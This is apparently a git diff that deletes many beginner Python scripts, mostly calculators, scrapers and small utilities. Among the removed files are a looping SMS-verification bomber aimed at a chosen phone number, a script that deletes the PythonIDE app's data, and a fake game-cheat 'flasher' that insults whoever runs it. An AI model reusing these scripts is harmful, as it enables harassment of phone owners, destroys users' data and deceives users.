{ip_info.get('归属地', '')}") - output.append(f"运营商: {ip_info.get('运营商', '')}") - - # 详细信息 - output.append("\n详细信息:") - output.append("-" * 30) - basic_info = ip_info.get('基本信息', {}) - for key, value in basic_info.items(): - if value: # 只显示有值的信息 - output.append(f"{key}: {value}") - - # 街道定位历史 - output.append("\n街道定位历史:") - output.append("-" * 30) - for history in ip_info.get('街道定位历史', []): - output.append(history) - - # IP风险信息 - output.append("\nIP风险信息:") - output.append("-" * 30) - risk_info = ip_info.get('IP风险信息', {}) - for key, value in risk_info.items(): - if value or str(value) == "0": # 显示有值或为0的字段 - output.append(f"{key}: {value}") - - output.append("=" * 50) - return "\n".join(output) - -def main(): - """主函数""" - print("高精度IP查询工具箱") - print("-" * 30) - - while True: - ip = input("请输入要查询的IP地址(输入'quit'退出): ").strip() - - if ip.lower() in ['quit', 'exit', 'q']: - print("感谢使用,再见!") - break - - if not ip: - print("IP地址不能为空,请重新输入!") - continue - - print(f"\n正在查询IP: {ip}") - print("查询中,请稍候...") - - result = query_ip_info(ip) - formatted_result = format_ip_info(result) - - print(f"\n{formatted_result}\n") - -if __name__ == "__main__": - main() diff --git a/script_library/scripts/basic/script_mn6mob7u.py b/script_library/scripts/basic/script_mn6mob7u.py deleted file mode 100644 index 0dfc799..0000000 --- a/script_library/scripts/basic/script_mn6mob7u.py +++ /dev/null @@ -1,56 +0,0 @@ -import requests -import json -import time - -print('七月') -def send_code(phone_number): - url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT' - headers = { - 'Host': 'epassport.diditaxi.com.cn', - 'Connection': 'keep-alive', - 'Content-Length': '455', - 'Mpxlogin-Ver': '5.5.1', - 'content-type': 'application/x-www-form-urlencoded', - 'secdd-authentication': '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf9401000001000000', - 'secdd-challenge': '3|2.0.11||||||', - 'Accept-Encoding': 'gzip,compress,br,deflate', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN', - 'Referer': 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html' - } - data = { - 'q': '{"api_version":"1.0.1","appid":35011,"role":1,"device_name":"iPhone XS Max China-exclusive","sec_session_id":"BxdYpEmKtRAjVQKCUbzheJtWBkjiT5ZYQ1S4k8ZpEQEbICRRc7Iom6gG3EFtcOYj","policy_id_list":[50008256],"policy_name_list":[],"ddfp":"","lang":"zh-CN","wsgenv":"","cell":"转换手机号","country_calling_code":"+86","code_type":1,"scene":1}' - } - # 替换手机号 - data['q'] = data['q'].replace('"cell":"转换手机号"', f'"cell":"{phone_number}"') - - try: - response = requests.post(url, headers=headers, data=data) - if response.status_code == 200: - print(response.text) - else: - print("请求失败") - return None - except requests.RequestException as e: - print("发生网络错误,状态码:{e}") - return None -def send_code2(phone_number): - url = f'https://stdch5.huinongyun.cn/api-uaa/validata/smsCode/{phone_number}/voc' - - try: - response = requests.get(url) - if response.status_code == 200: - print(response.text) - else: - print("请求失败") - return None - except requests.RequestException as e: - logging.error(f"发生网络错误: {e}") - return None - -phone = input("手机号:") - -while True: - send_code(phone) - time.sleep(30) - send_code2(phone) - time.sleep(30) diff --git a/script_library/scripts/basic/script_mnahfe4x.py b/script_library/scripts/basic/script_mnahfe4x.py deleted file mode 100644 index c1fe208..0000000 --- a/script_library/scripts/basic/script_mnahfe4x.py +++ /dev/null @@ -1,227 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -""" -爬取谷歌热点新闻 -使用 RSS 订阅源获取最新新闻 -""" - -import requests -import xml.etree.ElementTree as ET -import time -from datetime import datetime -import sys - -def fetch_google_news(rss_url="https://news.google.com/rss?hl=zh-CN&gl=CN&ceid=CN:zh-Hans"): - """ - 从 Google News RSS 订阅源获取热点新闻 - - Args: - rss_url (str): Google News RSS 订阅源 URL - - Returns: - list: 新闻条目列表,每个条目包含标题、链接、发布时间等信息 - """ - print("正在获取谷歌热点新闻...") - - try: - # 设置请求头,模拟浏览器访问 - headers = { - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1' - } - - # 发送请求获取 RSS 数据 - response = requests.get(rss_url, headers=headers, timeout=10) - response.raise_for_status() # 检查请求是否成功 - - # 解析 XML - root = ET.fromstring(response.content) - - # XML 命名空间处理 - namespaces = { - 'atom': 'http://www.w3.org/2005/Atom', - 'content': 'http://purl.org/rss/1.0/modules/content/', - 'dc': 'http://purl.org/dc/elements/1.1/', - 'media': 'http://search.yahoo.com/mrss/' - } - - # 查找所有 item 元素 - items = root.findall('.//item') - - if not items: - # 尝试另一种查找方式 - items = root.findall('.//channel/item') - - if not items: - print("未获取到新闻条目") - return [] - - print(f"成功获取到 {len(items)} 条新闻\n") - - # 提取新闻信息 - news_items = [] - for i, item in enumerate(items[:20], 1): # 限制显示前20条 - # 获取标题 - title_elem = item.find('title') - title = title_elem.text if title_elem is not None else '无标题' - - # 获取链接 - link_elem = item.find('link') - link = link_elem.text if link_elem is not None else '#' - - # 获取发布时间 - pub_date_elem = item.find('pubDate') - if pub_date_elem is None: - pub_date_elem = item.find('dc:date', namespaces) - published = pub_date_elem.text if pub_date_elem is not None else '' - - # 获取描述/摘要 - desc_elem = item.find('description') - if desc_elem is None: - desc_elem = item.find('content:encoded', namespaces) - summary = '' - if desc_elem is not None and desc_elem.text: - summary = desc_elem.text[:200] - - # 获取来源 - source_elem = item.find('source') - source = source_elem.text if source_elem is not None else '' - - # 构建新闻项 - news_item = { - 'index': i, - 'title': title, - 'link': link, - 'published': published, - 'summary': summary, - 'source': source - } - news_items.append(news_item) - - return news_items - - except requests.RequestException as e: - print(f"网络请求失败: {e}") - return [] - except ET.ParseError as e: - print(f"XML 解析失败: {e}") - return [] - except Exception as e: - print(f"获取新闻失败: {e}") - return [] - -def display_news(news_items): - """格式化显示新闻""" - if not news_items: - print("没有新闻可显示") - return - - print("=" * 80) - print(f"📰 谷歌热点新闻 ({datetime.now().strftime('%Y-%m-%d %H:%M:%S')})") - print("=" * 80) - - for item in news_items: - print(f"\n{item['index']}. {item['title']}") - - if item['source']: - print(f" 来源: {item['source']}") - - if item['published']: - # 发布时间可能包含时间格式信息,直接显示 - print(f" 时间: {item['published']}") - - if item['summary']: - print(f" 摘要: {item['summary']}...") - - print(f" 链接: {item['link']}") - print("-" * 60) - -def get_news_by_category(): - """按类别获取新闻""" - categories = { - '1': ('综合', 'https://news.google.com/rss?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '2': ('国际', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGx1YlY4U0JYQjBMVUpTR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '3': ('科技', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGRqTVhZU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '4': ('商业', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGx6TVdZU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '5': ('娱乐', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNREpxYW5RU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '6': ('体育', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRFp1ZEdvU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '7': ('健康', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNR3QwTlRFU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - } - - print("\n请选择新闻类别:") - for key, (name, _) in categories.items(): - print(f" {key}. {name}") - print(" 0. 综合新闻 (默认)") - - choice = input("\n请输入数字选择类别 (默认: 0): ").strip() - - if choice in categories: - category_name, rss_url = categories[choice] - print(f"\n正在获取「{category_name}」类别新闻...") - return rss_url - else: - print("\n正在获取综合新闻...") - return categories['1'][1] # 默认返回综合新闻 URL - -def main(): - """主函数""" - print("=" * 80) - print("📰 谷歌热点新闻爬取工具") - print("=" * 80) - - # 获取用户选择的类别 - rss_url = get_news_by_category() - - # 获取新闻 - news_items = fetch_google_news(rss_url) - - # 显示新闻 - if news_items: - display_news(news_items) - - # 保存到文件选项 - save_option = input("\n是否将新闻保存到文件? (y/N): ").strip().lower() - if save_option == 'y': - save_to_file(news_items) - else: - print("未能获取到新闻,请检查网络连接或稍后重试") - -def save_to_file(news_items): - """将新闻保存到文件""" - timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") - filename = f"谷歌新闻_{timestamp}.txt" - - try: - with open(filename, 'w', encoding='utf-8') as f: - f.write("=" * 80 + "\n") - f.write(f"谷歌热点新闻 ({datetime.now().strftime('%Y-%m-%d %H:%M:%S')})\n") - f.write("=" * 80 + "\n\n") - - for item in news_items: - f.write(f"{item['index']}. {item['title']}\n") - - if item['source']: - f.write(f" 来源: {item['source']}\n") - - if item['published']: - f.write(f" 时间: {item['published']}\n") - - if item['summary']: - f.write(f" 摘要: {item['summary']}...\n") - - f.write(f" 链接: {item['link']}\n") - f.write("-" * 60 + "\n\n") - - print(f"✓ 新闻已保存到文件: {filename}") - except Exception as e: - print(f"✗ 保存文件失败: {e}") - -if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\n\n程序被用户中断") - sys.exit(0) - except Exception as e: - print(f"\n程序执行出错: {e}") - sys.exit(1) \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnbnp2ee.py b/script_library/scripts/basic/script_mnbnp2ee.py deleted file mode 100644 index 9ab62d9..0000000 --- a/script_library/scripts/basic/script_mnbnp2ee.py +++ /dev/null @@ -1,54 +0,0 @@ -def Menu(): #定义界面 - print(('-' * 20)) - print('简易数学计算器系统1.0') - print('1.加法运算 2.减法运算 3.乘法运算') - print('4.除法运算 0.退出系统') - print(('-' * 20)) - -def jia(): #定义加法函数 - a = float(input('请输入加数1:')) - b = float(input('请输入加数2:')) - c = a + b - print('和为:',c) - -def jian(): #定义减法函数 - d = float(input('请输入被减数:')) - e = float(input('请输入减数:')) - f = d - e - print('差为:',f) - -def cheng(): #定义乘法函数 - g = float(input('请输入乘数1:')) - h = float(input('请输入乘数2:')) - i = g * h - print('积为:',i) - -def chu(): #定义除法函数 - j = float(input('请输入被除数:')) - k = float(input('请输入除数:')) - l = j / k - print('商为:',l) - -def main(): #定义主控制台 - while True: - Menu() - key = input('请输入对应功能的数字:') - if key == '1': - jia() - elif key == '2' : - jian() - elif key == '3' : - cheng() - elif key == '4' : - chu() - elif key == '0' : - q = input('是否退出系统?(y or n):') - if q == 'y': - print('已退出系统') - break - else : - print('没有对应此数字的功能!') - -main() #调用主函数 - - diff --git a/script_library/scripts/basic/script_mndbzbxy.py b/script_library/scripts/basic/script_mndbzbxy.py deleted file mode 100644 index b2f3471..0000000 --- a/script_library/scripts/basic/script_mndbzbxy.py +++ /dev/null @@ -1,290 +0,0 @@ -import tkinter as tk -from tkinter import messagebox -import numpy as np -import matplotlib.pyplot as plt -from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg -from matplotlib.figure import Figure -from matplotlib.ticker import MultipleLocator, AutoLocator -import math -import re - -# ---------------------------- 表达式预处理(支持省略乘号) ---------------------------- -def preprocess_expr(expr: str) -> str: - """将数学表达式转换为Python可eval的形式,自动插入*号""" - expr = expr.replace('π', 'math.pi').replace('e', 'math.e') - expr = expr.replace('^', '**') - # 插入隐式乘号:数字与字母/括号之间、字母与字母/括号之间、括号与数字/字母之间 - pattern = r'(?<=[0-9])(?=[a-zA-Z(])|(?<=[a-zA-Z)])(?=[0-9a-zA-Z(])' - expr = re.sub(pattern, '*', expr) - return expr - -# ---------------------------- 主应用类 ---------------------------- -class FunctionPlotter: - def __init__(self, master): - self.master = master - master.title("函数图像绘制器") - master.geometry("500x700") - master.configure(bg="#f0f0f0") - master.minsize(450, 600) - - self.mode = 'linear' # 'linear' 或 'quadratic' - self.animation = None - self.current_line = None - self.fig = None - self.ax = None - self.canvas = None - - self.create_widgets() - self.init_plot() - - def create_widgets(self): - # ---------- 顶部模式切换按钮 ---------- - top_frame = tk.Frame(self.master, bg="#f0f0f0", pady=10) - top_frame.pack(fill=tk.X) - - self.btn_linear = tk.Button( - top_frame, text="📈 一次函数", font=("微软雅黑", 12, "bold"), - bg="#e0e0e0", fg="#333", padx=20, pady=5, relief=tk.RAISED, - command=lambda: self.switch_mode('linear') - ) - self.btn_linear.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=10) - - self.btn_quadratic = tk.Button( - top_frame, text="📉 二次函数", font=("微软雅黑", 12, "bold"), - bg="#e0e0e0", fg="#333", padx=20, pady=5, relief=tk.RAISED, - command=lambda: self.switch_mode('quadratic') - ) - self.btn_quadratic.pack(side=tk.RIGHT, expand=True, fill=tk.X, padx=10) - - self.update_button_style() - - # ---------- 输入区域 ---------- - input_frame = tk.Frame(self.master, bg="#f0f0f0", pady=10) - input_frame.pack(fill=tk.X, padx=15) - - tk.Label(input_frame, text="函数表达式:y=", font=("微软雅黑", 10), bg="#f0f0f0").pack(anchor=tk.W) - self.entry = tk.Entry(input_frame, font=("Consolas", 12), bg="white") - self.entry.pack(fill=tk.X, pady=(5,10)) - self.entry.insert(0, "x+1") - - self.plot_btn = tk.Button( - input_frame, text="🎨 绘制图像", font=("微软雅黑", 10, "bold"), - bg="#4caf50", fg="white", padx=10, pady=5, - command=self.start_plot_animation - ) - self.plot_btn.pack() - - # ---------- 数学符号面板 ---------- - symbol_frame = tk.LabelFrame(self.master, text="数学符号库", font=("微软雅黑", 9), bg="#f0f0f0", padx=5, pady=5) - symbol_frame.pack(fill=tk.X, padx=15, pady=5) - - symbols = ['x', 'x^2', 'x^3', '+', '-', '*', '/', '(', ')', 'π', 'e', - 'sin', 'cos', 'tan', 'sqrt', '^', '**'] - row, col = 0, 0 - for sym in symbols: - btn = tk.Button( - symbol_frame, text=sym, font=("Consolas", 9), width=5, relief=tk.GROOVE, - command=lambda s=sym: self.insert_symbol(s) - ) - btn.grid(row=row, column=col, padx=2, pady=2, sticky="ew") - col += 1 - if col >= 6: - col = 0 - row += 1 - for i in range(6): - symbol_frame.columnconfigure(i, weight=1) - - # ---------- 状态栏 ---------- - self.status = tk.Label(self.master, text="就绪", bd=1, relief=tk.SUNKEN, anchor=tk.W, bg="#e0e0e0") - self.status.pack(side=tk.BOTTOM, fill=tk.X) - - def init_plot(self): - """初始化 matplotlib 图形,设置坐标轴样式和固定刻度间隔为1""" - self.fig = Figure(figsize=(6, 4), dpi=100, facecolor='white') - self.ax = self.fig.add_subplot(111) - self.canvas = FigureCanvasTkAgg(self.fig, master=self.master) - self.canvas.get_tk_widget().pack(fill=tk.BOTH, expand=True, padx=15, pady=10) - - self.ax.grid(True, linestyle='--', alpha=0.7) - self.ax.axhline(0, color='k', linewidth=0.8) - self.ax.axvline(0, color='k', linewidth=0.8) - self.ax.set_xlabel('x', fontsize=10) - self.ax.set_ylabel('y', fontsize=10) - self.ax.set_title('函数图像', fontsize=12) - - # x轴固定刻度间隔1,范围-10~10 - self.ax.set_xlim(-10, 10) - self.ax.xaxis.set_major_locator(MultipleLocator(1)) - self.ax.xaxis.set_minor_locator(MultipleLocator(0.5)) - - # y轴暂用自动,绘图时会根据数据重新调整 - self.ax.yaxis.set_major_locator(AutoLocator()) - self.fig.tight_layout() - self.canvas.draw() - - def update_button_style(self): - if self.mode == 'linear': - self.btn_linear.config(bg="#4caf50", fg="white", relief=tk.SUNKEN) - self.btn_quadratic.config(bg="#e0e0e0", fg="#333", relief=tk.RAISED) - else: - self.btn_quadratic.config(bg="#4caf50", fg="white", relief=tk.SUNKEN) - self.btn_linear.config(bg="#e0e0e0", fg="#333", relief=tk.RAISED) - - def switch_mode(self, mode): - if self.mode == mode: - return - self.mode = mode - self.update_button_style() - if mode == 'linear': - default_expr = "2x+3" - else: - default_expr = "x^2+2x+1" - self.entry.delete(0, tk.END) - self.entry.insert(0, default_expr) - self.status.config(text=f"已切换到{'一次' if mode=='linear' else '二次'}函数模式") - self.entry.config(bg="#ffffcc") - self.master.after(200, lambda: self.entry.config(bg="white")) - - def insert_symbol(self, symbol): - pos = self.entry.index(tk.INSERT) - text = self.entry.get() - new_text = text[:pos] + symbol + text[pos:] - self.entry.delete(0, tk.END) - self.entry.insert(0, new_text) - self.entry.icursor(pos + len(symbol)) - self.entry.focus_set() - - def evaluate_expression(self, expr_str, x_vals): - """计算表达式值,返回y数组,若全部无效则返回None""" - try: - processed = preprocess_expr(expr_str) - namespace = { - 'math': math, - 'np': np, - 'sqrt': math.sqrt, - 'sin': math.sin, - 'cos': math.cos, - 'tan': math.tan, - 'pi': math.pi, - 'e': math.e - } - code = compile(f'lambda x: {processed}', '', 'eval') - f = eval(code, namespace) - y_vals = [] - for x in x_vals: - try: - y = f(x) - if isinstance(y, complex) or not np.isfinite(y): - y = np.nan - y_vals.append(y) - except: - y_vals.append(np.nan) - y_arr = np.array(y_vals) - if np.all(np.isnan(y_arr)): - messagebox.showerror("无效表达式", "表达式在所有x上均无有效值,请检查输入。") - return None - return y_arr - except Exception as e: - messagebox.showerror("表达式错误", f"解析表达式出错:\n{str(e)}") - return None - - def start_plot_animation(self): - """启动绘图动画,确保曲线正常显示""" - # 停止旧动画 - if self.animation is not None: - try: - self.animation.event_source.stop() - except: - pass - self.animation = None - - expr = self.entry.get().strip() - if not expr: - messagebox.showwarning("空表达式", "请输入函数表达式") - return - - # 生成x点并计算y值 - x_vals = np.linspace(-10, 10, 200) - y_vals = self.evaluate_expression(expr, x_vals) - if y_vals is None: - return - - # 清除旧曲线 - if self.current_line is not None: - self.current_line.remove() - self.current_line = None - - # 动态调整y轴范围(过滤无效点) - valid_mask = ~np.isnan(y_vals) - if np.any(valid_mask): - y_min = np.nanmin(y_vals[valid_mask]) - y_max = np.nanmax(y_vals[valid_mask]) - y_range = y_max - y_min - if y_range < 1e-6: - y_min -= 1 - y_max += 1 - else: - y_min -= 0.1 * y_range - y_max += 0.1 * y_range - self.ax.set_ylim(y_min, y_max) - # 设置y轴刻度间隔为1(如果范围太大则自动调整) - if y_max - y_min <= 20: - self.ax.yaxis.set_major_locator(MultipleLocator(1)) - else: - self.ax.yaxis.set_major_locator(MultipleLocator(5)) - self.ax.yaxis.set_minor_locator(MultipleLocator(1)) - else: - self.ax.set_ylim(-5, 5) - - # 创建空曲线(占位) - self.current_line, = self.ax.plot([], [], 'b-', linewidth=2, label=f'y = {expr}') - self.ax.legend(loc='upper right') - self.canvas.draw() - - # 动画参数 - self.total_points = len(x_vals) - self.x_data = x_vals - self.y_data = y_vals - self.step = 0 - - # 动画更新函数 - def animate(i): - self.step = min(self.total_points, self.step + 5) - if self.step >= 1: - self.current_line.set_data(self.x_data[:self.step], self.y_data[:self.step]) - # 强制刷新画布 - self.canvas.draw_idle() - self.canvas.flush_events() - if self.step >= self.total_points: - self.animation.event_source.stop() - self.status.config(text="绘图完成") - return self.current_line, - - from matplotlib.animation import FuncAnimation - # 帧数 = 总点数/5 + 1 - frames = self.total_points // 5 + 1 - self.animation = FuncAnimation( - self.fig, animate, frames=frames, - interval=30, repeat=False, blit=False - ) - self.status.config(text="正在绘制动画...") - - # 备用机制:如果动画因故未显示,强制重绘一次(极少情况) - def fallback_draw(): - if self.current_line is not None and len(self.current_line.get_xdata()) == 0: - self.current_line.set_data(self.x_data, self.y_data) - self.canvas.draw() - self.status.config(text="已绘制完整曲线") - self.master.after(500, fallback_draw) # 0.5秒后若仍无数据则直接画全 - - # 动画结束后启用按钮(粗略延时) - def enable_btn(): - self.plot_btn.config(state=tk.NORMAL) - self.plot_btn.config(state=tk.DISABLED) - self.master.after(2000, enable_btn) - -# ---------------------------- 主程序 ---------------------------- -if __name__ == "__main__": - root = tk.Tk() - app = FunctionPlotter(root) - root.mainloop() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnfqk5cz.py b/script_library/scripts/basic/script_mnfqk5cz.py deleted file mode 100644 index ce11ce4..0000000 --- a/script_library/scripts/basic/script_mnfqk5cz.py +++ /dev/null @@ -1,15 +0,0 @@ -import qrcode - -qr = qrcode.QRCode( - version=1, - error_correction=qrcode.constants.ERROR_CORRECT_L, - box_size=10, - border=4, -) - -qr.add_data("https://doubao.com") -qr.make(fit=True) - -# 前景黑,背景白 -img = qr.make_image(fill_color="black", back_color="white") -img.save("qr_custom.png") \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnfrb0ax.py b/script_library/scripts/basic/script_mnfrb0ax.py deleted file mode 100644 index 967b6a1..0000000 --- a/script_library/scripts/basic/script_mnfrb0ax.py +++ /dev/null @@ -1,23 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import os -import shutil - -print("=== 开始清理 PythonIDE(文禄 张)===") - -# iOS 模拟器里这个APP的真实路径 -home = os.path.expanduser("~") -paths = [ - f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Data/Application/*PythonIDE*", - f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Bundle/Application/*PythonIDE*", - f"{home}/Documents/PythonIDE", - f"{home}/Library/Preferences/*wenlu*PythonIDE*" -] - -for path in paths: - try: - shutil.rmtree(path, ignore_errors=True) - print(f"✅ 已删除: {path}") - except: - pass - -print("\n🎉 完成!PythonIDE 已经被清空,打不开了") \ No newline at end of file diff --git a/script_library/scripts/basic/script_mngcmh7k.py b/script_library/scripts/basic/script_mngcmh7k.py deleted file mode 100644 index 9a6f1d0..0000000 --- a/script_library/scripts/basic/script_mngcmh7k.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -""" -相册照片统计脚本 -统计相册中的照片数量,并按类型分类 -""" - -import photos -import dialogs -import console -from datetime import datetime - -def main(): - """主函数:统计相册照片""" - console.clear() - print("📸 相册照片统计") - print("=" * 40) - - # 检查相册权限 - if not photos.is_available(): - print("❌ 无法访问相册,请检查权限设置") - dialogs.alert("权限错误", "无法访问相册,请检查App权限设置") - return - - print("正在扫描相册...") - - try: - # 获取所有照片 - all_photos = photos.get_assets(media_type='photo', limit=0) - total_count = len(all_photos) - - # 获取所有视频 - all_videos = photos.get_assets(media_type='video', limit=0) - video_count = len(all_videos) - - # 获取所有媒体(照片+视频) - all_media = photos.get_assets(media_type='all', limit=0) - media_count = len(all_media) - - print(f"✅ 扫描完成!") - print() - - # 显示统计结果 - print("📊 统计结果:") - print(f" 照片数量:{total_count} 张") - print(f" 视频数量:{video_count} 个") - print(f" 媒体总数:{media_count} 个") - print() - - # 如果有照片,显示一些详细信息 - if total_count > 0: - # 获取最近的照片 - recent_photos = photos.get_recent_images(count=min(5, total_count)) - print("📅 最近的照片:") - for i, asset in enumerate(recent_photos, 1): - try: - # 尝试获取日期信息 - if hasattr(asset, 'creation_date'): - # 确保 creation_date 是 datetime 对象 - from datetime import datetime - if isinstance(asset.creation_date, (int, float)): - # 如果是时间戳,转换为 datetime - date_obj = datetime.fromtimestamp(asset.creation_date) - date_str = date_obj.strftime("%Y-%m-%d %H:%M") - else: - # 假设是 datetime 对象 - date_str = asset.creation_date.strftime("%Y-%m-%d %H:%M") - else: - date_str = "未知日期" - except: - date_str = "日期未知" - - # 获取照片尺寸 - width = getattr(asset, 'pixel_width', '未知') - height = getattr(asset, 'pixel_height', '未知') - print(f" {i}. {date_str} - {width}x{height}") - - # 获取相册信息 - print() - print("📁 相册信息:") - albums = photos.get_albums() - smart_albums = photos.get_smart_albums() - - print(f" 普通相册:{len(albums)} 个") - print(f" 智能相册:{len(smart_albums)} 个") - - # 显示一些特殊相册 - special_albums = [] - try: - screenshots = photos.get_screenshots_album() - if screenshots: - special_albums.append(f"截屏 ({screenshots.count} 张)") - except: - pass - - try: - recently_added = photos.get_recently_added_album() - if recently_added: - special_albums.append(f"最近添加 ({recently_added.count} 张)") - except: - pass - - try: - selfies = photos.get_selfies_album() - if selfies: - special_albums.append(f"自拍 ({selfies.count} 张)") - except: - pass - - if special_albums: - print(f" 特殊相册:{', '.join(special_albums)}") - - print() - print("=" * 40) - print("📱 操作提示:") - print(" 1. 要查看照片详情,可以使用 photos.pick_image()") - print(" 2. 要拍照,可以使用 photos.capture_image()") - print(" 3. 要保存图片到相册,可以使用 photos.save_image()") - - # 显示弹窗总结 - summary = f""" -照片统计完成! - -📸 照片:{total_count} 张 -🎬 视频:{video_count} 个 -📁 相册:{len(albums)} 个普通相册 - {len(smart_albums)} 个智能相册 - -点击确定继续... - """ - dialogs.alert("相册统计结果", summary.strip()) - - except Exception as e: - print(f"❌ 发生错误:{e}") - dialogs.alert("错误", f"统计相册时发生错误:{e}") - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnkej15x.py b/script_library/scripts/basic/script_mnkej15x.py deleted file mode 100644 index 6b506ad..0000000 --- a/script_library/scripts/basic/script_mnkej15x.py +++ /dev/null @@ -1,78 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -#!/usr/bin/env python3 -import time -import sys -import random -from datetime import datetime - -# ANSI 颜色码 -GREEN = '\033[92m' -YELLOW = '\033[93m' -CYAN = '\033[96m' -RED = '\033[91m' -RESET = '\033[0m' -BOLD = '\033[1m' - -def log(message, level="INFO"): - ts = datetime.now().strftime("%H:%M:%S") - if level == "STEP": - print(f"{CYAN}[{ts}] {message}{RESET}") - elif level == "SUCCESS": - print(f"{GREEN}[{ts}] {message}{RESET}") - elif level == "ERROR": - print(f"{RED}[{ts}] {message}{RESET}") - else: - print(f"[{ts}] {message}") - -def progress_bar(current, total, bar_length=40): - percent = current / total - arrow = '█' * int(round(percent * bar_length)) - spaces = ' ' * (bar_length - len(arrow)) - sys.stdout.write(f"\r进度: |{arrow}{spaces}| {percent:.0%} ") - sys.stdout.flush() - -import console -intro_text = """ 和平稳定内核内测版 -━━━━━━━━━━━━━━━━━━━━━━ -和平内核以下刷入流程: -1. 检查设备 -2. 游戏查找 -3. 读取设备环境 -4. 正在连接服务器 -5. 刷入 -6. 验证 - -⚠️ 注意:此版本为内测版本,会对真实设备做深度修改。 -是否继续刷入?(点击 确认)""" - -answer = console.alert("确认刷入", intro_text, "刷入", hide_cancel_button=False) -if answer != 1: - log("❌ 用户取消刷入", "ERROR") - sys.exit() -def simulate_root(): - steps = [ - (" 检查设备", "设备正常", 1.5), - (" 正在查找游戏", "和平精英已找到", 2.0), - (" 正在读取设备环境", "读取成功", 2.0), - (" 设备环境异常 ", "准备修补", 2.5), - (" 设备环境修补中", "修补成功", 3.0), - (" 设备修补成功", "正在准备下一步验证工作", 1.5), - ("正在验证设备id","正在与服务器验证", 2.0), - ("服务器验证成功","祝你游戏愉快", 1.0), - ] - total = len(steps) - log(f"{BOLD} 开始执行 刷入流程...{RESET}") - for idx, (name, detail, duration) in enumerate(steps, 1): - log(f"➡ {name}", "STEP") - log(f" {detail}") - for _ in range(int(duration * 10)): - time.sleep(0.1) - progress_bar(idx - 1 + (_ / (duration * 10)), total) - progress_bar(idx, total) - print() - log(f"✓ {name} 完成", "SUCCESS") - time.sleep(0.2) - log(f"\n {BOLD}恭喜! 你个傻调还真信了😂😂😂🖕🖕🖕{RESET}", "SUCCESS") - -if __name__ == "__main__": - simulate_root() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnl0ws3b.py b/script_library/scripts/basic/script_mnl0ws3b.py deleted file mode 100644 index bd85b2b..0000000 --- a/script_library/scripts/basic/script_mnl0ws3b.py +++ /dev/null @@ -1,187 +0,0 @@ -import math -import sys - -class ScientificCalculator: - def __init__(self): - self.memory = 0 - self.history = [] - self.constants = { - 'pi': math.pi, - 'e': math.e, - 'tau': math.tau, - 'inf': float('inf'), - 'nan': float('nan') - } - self.functions = { - 'sin': math.sin, - 'cos': math.cos, - 'tan': math.tan, - 'asin': math.asin, - 'acos': math.acos, - 'atan': math.atan, - 'sinh': math.sinh, - 'cosh': math.cosh, - 'tanh': math.tanh, - 'log': math.log10, - 'ln': math.log, - 'log2': math.log2, - 'exp': math.exp, - 'sqrt': math.sqrt, - 'cbrt': lambda x: x ** (1/3), - 'abs': abs, - 'floor': math.floor, - 'ceil': math.ceil, - 'round': round, - 'fact': math.factorial, - 'gamma': math.gamma, - 'erf': math.erf - } - - def evaluate(self, expression): - """计算表达式""" - try: - # 替换常量 - for name, value in self.constants.items(): - expression = expression.replace(name, str(value)) - - # 安全评估 - allowed_names = {k: v for k, v in self.functions.items()} - allowed_names.update({ - 'pi': math.pi, - 'e': math.e, - 'tau': math.tau, - 'inf': float('inf'), - 'nan': float('nan') - }) - allowed_names.update({name: getattr(math, name) for name in dir(math) - if not name.startswith('_')}) - - result = eval(expression, {"__builtins__": {}}, allowed_names) - - # 保存到历史 - self.history.append((expression, result)) - if len(self.history) > 50: - self.history.pop(0) - - return result - except Exception as e: - return f"错误: {str(e)}" - - def show_menu(self): - print("\n" + "=" * 60) - print(" 科学计算器 Scientific Calculator") - print("=" * 60) - print("支持运算: +, -, *, /, **, //, %") - 